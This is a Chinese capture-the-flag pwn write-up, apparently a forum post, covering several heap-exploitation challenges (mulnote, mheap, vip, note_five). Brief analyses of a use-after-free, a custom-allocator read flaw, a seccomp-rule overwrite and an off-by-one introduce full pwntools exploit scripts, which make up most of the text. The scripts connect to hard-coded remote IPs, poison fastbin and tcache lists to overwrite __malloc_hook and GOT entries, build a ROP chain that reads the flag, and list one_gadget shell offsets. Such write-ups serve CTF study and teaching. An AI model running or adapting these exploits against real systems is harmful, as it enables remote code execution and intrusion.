初看程序,是一个经OLLVM混淆过的ELF,不过对我们做pwn没有太多的影响。用ida直接分析其主要函数,也是一个经典的堆菜单题目。含有增删改查四个功能。 其中这个free函数free过后有10秒钟的延迟,这个导致了UAF。那么有UAF这道题就迎刃而解了。
首先这个程序也是一个经典的堆题,分为增删改查4个功能。同其他堆题不一样的就是这个堆他不是真正意义上的堆,通过分析程序,它是通过mmap出一块内存出来之后,然后对这块内存进行管理,在bss有4个全局变量,分别是存放分配的size,mmap出来内存的地址,free掉堆块的链表的头部,正在使用中的堆块地址。malloc的时候首先会从free_list中查看是否存在一个堆块和我们想要申请的size一样的。如果一样就拿出来,不一样就遍历free_list,如果没有查找到,则从mmap内存切割,其实和top_chunk类似。然后free的话,直接将chunk放到free_top中去。edit,show函数没有什么好说的。其中堆块结构和glibc中的结构有点不一样的就是他的头部是存放的一个size和fd(类似fastbin)。那么其实分析到这里,按常规来说,没有发现什么漏洞,没有UAF。分配类似0x(8)这样块的大小,也不会占用下一块的头部。 有个这样的操作。那么其实这个漏洞点,是存在在自定义的read的中的。mmap出来的内存最大可以提供0x1000大小。然而它没有将总分配的size做比较,导致了我们可以分配到0x23330000 + 0x1000后面的内存,那么这里的内存是无效的。在read的时候就会出错,返回-1。 然后数据还存放在缓冲区中,此时v3的值会减小,下一次循环的时候读入数据会将缓冲区中的数据给read处理,然而有部分字节被处理了0x23330000后面的数据不能被处理,继续返回-1,v3继续变小,这样v3不断往前移动,最后移动到刚好覆盖chunk头部,fd写入bss地址,bss地址构造一个size。然后就可以分配到bss段上了,直接修改store_ptr的地方,修改为got表,leak and write即可Getshell。
。exp如下
同样也是一道堆题,题目环境是libc2.27,带tcache环境。
题目有5个选单。malloc只能分配0x50个字节的大小。free直接free掉,然后置0,不存在uaf。show也是普通的打印,比较不一样的就是edit功能和become vip功能。 edit功能首先判断全局变量,如果不为0,就读取标准输入到chunk上,不然读随机数到chunk上,这就是本程序的一个很大的限制,不能读取我们的输入到堆块上,也就是堆块内容不可控,当然这边也存在一个未校验size的漏洞。可以无限读取,那么本题其实主要首先会想如何修改这个全局变量的值,当然首先考虑unsorted bin attack,但是这里堆块内容不可控,这个攻击也无法实现,再来看看become vip函数吧。这里是输入一个name到栈上,然后对程序使用seccomp保护。这里可以使用seccomp-tools对其进行分析。 这里只允许四个系统调用,然而我们发现当我们become vip之后,也就是调用设置沙箱规则之后,edit的open("/dev/random")会返回-1,也就是打开失败,这里我们明明看到是open没有被限制,那么这里是什么原因造成的的呢? 这里就可以看出来了,openat被限制了。那么这里输入的buf是存在溢出的,这里可以溢出30个字节,下面的其实就是沙箱的规则,这里的主要思路就是利用溢出修改啥箱规则,去让openat返回0。然后就可以正常读取输入了。https://github.com/david942j/seccomp-tools这是我使用的一个工具。
1.1 malloc的size不可控,但是程序中存在scanf。利用scanf导致fastbin chunk合并进入small bin, leak libc
1.2 第二种leak的话其实和第一种不一样,第一种情况是对于不能控制输入到堆块的内容的leak,这一种是首先让堆块内容可控,然后edit修改下一块size即可。也是leak main_arena。
主要漏洞点就是off-by-one,由于限制了分配的大小,导致我们不能分配fastbin,这样fastbin attack攻击就无法实现。off-by-one威力还是挺大的,chunk overlap , chunk extend。
感谢ex师傅的指导
#coding:utf-8
from pwn import *
import argparse
# env = os.environ
# env['LD_PRELOAD'] = './libc64.so'
IP = '112.126.101.96'
PORT = '9999'
binary = './mulnote'
io = None
parser = argparse.ArgumentParser()
parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
sla = lambda x,y : io.sendlineafter(x,y)
rud = lambda x : io.recvuntil(x,drop=True)
ru = lambda x : io.recvuntil(x)
def lg(s, addr):
print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))
if args.remote:
io = remote(IP, PORT)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF(binary)
elif args.local or args.debugger:
# env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
env = {}
io = process(binary, env=env)
elf = ELF(binary)
proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
parser.print_help()
exit()
def debug(msg=""):
msg = """
x/20xg 0x{:x}
""".format(proc_base + 0x202020)
pwnlib.gdb.attach(io,msg)
# raw_input()
def create(sz,con):
sla(">","C")
sla(">",str(sz))
sla(">",con)
def edit(idx,con):
sla(">","E")
sla(">",str(idx))
sla(">",con)
def remove(idx):
sla(">","R")
sla(">",str(idx))
def show():
sla(">","S")
def exploit():
create(0x90,'a')
remove(0)
show()
leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
lg('leak',leak)
base = leak - 0x3c4b78
__malloc_hook = base + libc.symbols['__malloc_hook']
lg('base',base)
create(0x90,'a')
create(0x60,'a')
create(0x60,'b')
remove(2)
remove(3)
remove(2)
one_gg = base + 0x4526a
create(0x60,p64(__malloc_hook - 0x13))
create(0x60,'junk')
create(0x60,'junk')
create(0x60,'a' * 3 + p64(one_gg))
# debug()
io.interactive()
if __name__ == "__main__":
exploit()
"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""
#coding:utf-8
from pwn import *
import argparse
IP = '47.112.139.218'
PORT = '13132'
binary = './mheap'
io = None
parser = argparse.ArgumentParser()
parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
ru = lambda x : io.recvuntil(x)
rud = lambda x : io.recvuntil(x,drop=True)
ruf = lambda x : io.recvuntil(x)
uu64 = lambda x : u64(x[-6:].ljust(8,'\x00'))
def lg(s, addr):
print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))
if args.remote:
io = remote(IP, PORT)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF(binary)
elif args.local or args.debugger:
# env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
env = {}
io = process(binary, env=env)
elf = ELF(binary)
proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
parser.print_help()
exit()
def debug(msg=""):
msg = """
x/80xg 0x23330000
b *0x40121F
b *0x401568
"""
pwnlib.gdb.attach(io,msg)
def malloc(idx,sz,con):
ru("choice")
sl("1")
ru("Index")
sl(str(idx))
ru("size")
sl(str(sz))
ru("Content")
sd(con)
def show(idx):
ru("choice")
sl("2")
ru("Index")
sl(str(idx))
def free(idx):
ru("choice")
sl("3")
ru("Index")
sl(str(idx))
def edit(idx,con):
ru("choice")
sl("4")
ru("Index")
sl(str(idx))
sleep(0.3)
sd(con)
def exploit():
malloc(0, 0xfc0, '/bin/sh\n')
malloc(1, 0x10, '\0' * 0x10)
free(1)
malloc(2, 0x28, p64(0x4040d0) + '\0' * 0x1f + '\n')
malloc(3, 0x23330fd0 - 0x10, p64(elf.got['atoi']) + '\n')
show(0)
leak = u64(io.recvuntil('\n', drop=True)[-6:].ljust(8,'\x00'))
lg('leak',leak)
base = leak - libc.symbols['atoi']
lg("base",base)
edit(0, p64(base + libc.symbols['system']) + '\n')
io.sendline('/bin/sh\x00')
io.interactive()
if __name__ == "__main__":
exploit()
"""
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""
#coding:utf-8
from pwn import *
import argparse
context.binary = './vip'
IP = '112.126.103.14'
PORT = '9999'
binary = './vip'
io = None
parser = argparse.ArgumentParser()
parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()
sa = lambda x,y : io.sendafter(x,y)
sla = lambda x,y : io.sendlineafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
ru = lambda x : io.recvuntil(x)
rud = lambda x : io.recvuntil(x,drop=True)
ruf = lambda x : io.recvuntil(x)
uu64 = lambda x : u64(x[-6:].ljust(8,'\x00'))
def lg(s, addr):
print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))
if args.remote:
io = remote(IP, PORT)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF(binary)
elif args.local or args.debugger:
# env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
env = {}
io = process(binary, env=env)
elf = ELF(binary)
proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
parser.print_help()
exit()
def debug(msg=""):
msg = """
b *0x401411
b *0x401547
x/80xg 0x404100
b *0x401515
b *0x40151C
b *0x4014F0
b *0x4014eb
x/8xg 0x4040E0
"""
pwnlib.gdb.attach(io,msg)
def malloc(idx):
sla("choice","1")
sla("Index",str(idx))
def show(idx):
sla("choice","2")
sla("Index",str(idx))
def free(idx):
sla("choice","3")
sla("Index",str(idx))
def edit(idx,sz):
sla("choice","4")
sla("Index",str(idx))
sla("Size",str(sz))
def edit_chunk(idx,sz,con):
sla("choice","4")
sla("Index",str(idx))
sla("Size",str(sz))
sd(con)
def vip(name):
sla("choice","6")
sa("name",name)
def ssl(con):
sl(con)
sleep(0.2)
def exploit2():
malloc(0)
buf = 0x20 * 'a'
buf += " \x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x03>\x00\x00\xC0 \x00\x00\x00\x00\x00\x00\x00\x15\x00\x01\x00\t\x00\x00\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x00\x00"
# buf = "\x00\x00\x00\x00\x00\x00\x00\x00\xca\x20\x40\x00\x00\x00\x00\x00\xa0\x92\x0b\xc5\x4a\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x08\x3e\x00\x00\xc0\x20\x00\x00\x00\x00\x00\x00\x00\x35\x00\x06\x00\x00\x00\x00\x40\x15\x00\x04\x00\x01\x00\x00\x00\x15\x00\x03\x00\x00\x00\x00\x00"
buf = buf[:0x50]
# debug()
vip(buf)
debug()
io.interactive()
def exploit():
[malloc(i) for i in range(0,16)]
[free(i) for i in range(0,15)]
[malloc(i) for i in range(0,7)]
edit(15,"1" * 0x400)
malloc(0)
show(0)
leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
lg('leak',leak)
base = leak - 0x3ebf90
system = base + libc.symbols['system']
__malloc_hook = base + libc.symbols['__malloc_hook']
lg('base',base)
__free_hook = base + libc.symbols['__free_hook']
printf = base + libc.symbols['printf']
# orig_rules = "\x20\x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x08\x3E\x00\x00\xC0\x20\x00\x00\x00\x00\x00\x00\x00\x35\x00\x06\x00\x00\x00\x00\x40\x15\x00\x04\x00\x01\x00\x00\x00\x15\x00\x03\x00\x00\x00\x00\x00\x15\x00\x02\x00\x02\x00\x00\x00\x15\x00\x01\x00\x3C\x00\x00\x00\x06\x00\x00\x00\x05\x00\x05\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x00\x00"
buf = "a" * 0x20
buf += " \x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x04>\x00\x00\xC0 \x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x01\x01\x01\x00\x00\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x00\x00"
buf = buf[:0x50]
vip(buf)
free(5)
free(2)
edit_chunk(3,0x80,'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.got['puts']))
malloc(0)
edit_chunk(0,0x10,'%p %p %p %p \x00')
malloc(1)
edit_chunk(1,0x10,p64(printf))
show(0)
ru("999 ")
stack_addr = int(rud(" Done"),16)
lg('stack_addr',stack_addr - 73)
# alloc to stack
free(3)
edit_chunk(4,0x80,'a' * 0x50 + p64(0) + p64(0x61) + p64(stack_addr - 73))
stack_payload = [
0x00000000004018fb, # : pop rdi ; ret
stack_addr - 73 + 0x100,
0x00000000004018f9, # : pop rsi ; pop r15 ; ret
0,
0,
base + 0x00000000000439c8, # : pop rax ; ret
2, # sys_open
base + 0x00000000000d2975, # : syscall ; ret
0x00000000004018fb, # : pop rdi ; ret
4,
0x00000000004018f9, # : pop rsi ; pop r15 ; ret
0x404800,
0,
base + 0x0000000000001b96, # : pop rdx ; ret
0x100,
elf.plt['read'],
0x00000000004018fb, # : pop rdi ; ret
0x404800,
base + libc.symbols['puts'],
0x00000000004018fb,
0x0,
elf.plt['exit'],
]
"""
syscall rdi --> "flag" rsi --> 0x0 rdx --> 0x0 rax --> syscall number
read(fd,buf,0x100);
puts(buf)
"""
malloc(1)
malloc(2) # malloc to stack
edit_chunk(2,0x400,flat(stack_payload).ljust(0x100,'\x00') + "flag\x00")
# malloc(0)
# malloc(1)
# edit(0,0x50)
io.interactive()
if __name__ == "__main__":
try:
exploit()
except EOFError as e:
io.close()
print "error"
"""
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""
#coding:utf-8
from pwn import *
import argparse
# env = os.environ
# env['LD_PRELOAD'] = './libc64.so'
context.binary = './note_five'
IP = ''
PORT = ''
binary = './note_five'
io = None
parser = argparse.ArgumentParser()
parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
sla = lambda x,y : io.sendlineafter(x,y)
rud = lambda x : io.recvuntil(x,drop=True)
ru = lambda x : io.recvuntil(x)
def lg(s, addr):
print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))
if args.remote:
io = remote(IP, PORT)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF(binary)
elif args.local or args.debugger:
# env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
env = {}
io = process(binary, env=env)
elf = ELF(binary)
proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
parser.print_help()
exit()
def debug(msg=""):
msg = """
x/10xg 0x{:x}
""".format(proc_base + 0x202080)
pwnlib.gdb.attach(io,msg)
# raw_input()
def new(idx,sz):
sla(">","1")
sla("idx",str(idx))
sla("size",str(sz))
def edit(idx,con):
sla(">","2")
sla("idx",str(idx))
sla("content",con)
def free(idx):
sla(">","3")
sla("idx",str(idx))
def exploit():
new(0, 0x98)
new(1, 0x98)
new(2, 0x98)
new(3, 0x98)
free(0) # unsorted bin
edit(1, 'a' * 0x90 + p64(0x140) + p8(0xa0))
free(2)
new(0, 0xe8)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(0) + p16(0x37f8 - 0x10)) # change fd bk
new(4, 0xe8)
free(4)
edit(1,'a' * 0x40 + flat(0x0,0xf1) + "\xcf\x25")
new(4,0xe8)
new(0,0xe8)
edit(0,'\x00' * 0x41 + p64(0xfbad1800) + flat(0x0,0x0,0x0) + '\x00') #0xfbad1800
stdout = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
lg('stdout',stdout)
base = stdout - 0x3c5600
lg('base',base)
free(4)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(base + libc.symbols['_IO_2_1_stdin_'] + 143))
new(4, 0xe8)
new(0, 0xe8)
edit(0, '\0' * 0xe1 + p32(0xf1) )
free(4)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(base + libc.symbols['_IO_2_1_stdin_'] + 376))
new(4, 0xe8)
new(0, 0xe8)
edit(0, '\0' * 0xa0 + p64(base + 0x4526a) + p64(base + libc.symbols['realloc'] + 13))
new(0, 0xe8)
io.interactive()
if __name__ == "__main__":
exploit()
"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""
- Create一个大于0x80的chunk
- free掉就可以show leak libc
- fastbin attack修改__malloc_hook为one_gadget
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2019-9-9 21:01
被ChenSem编辑
,原因: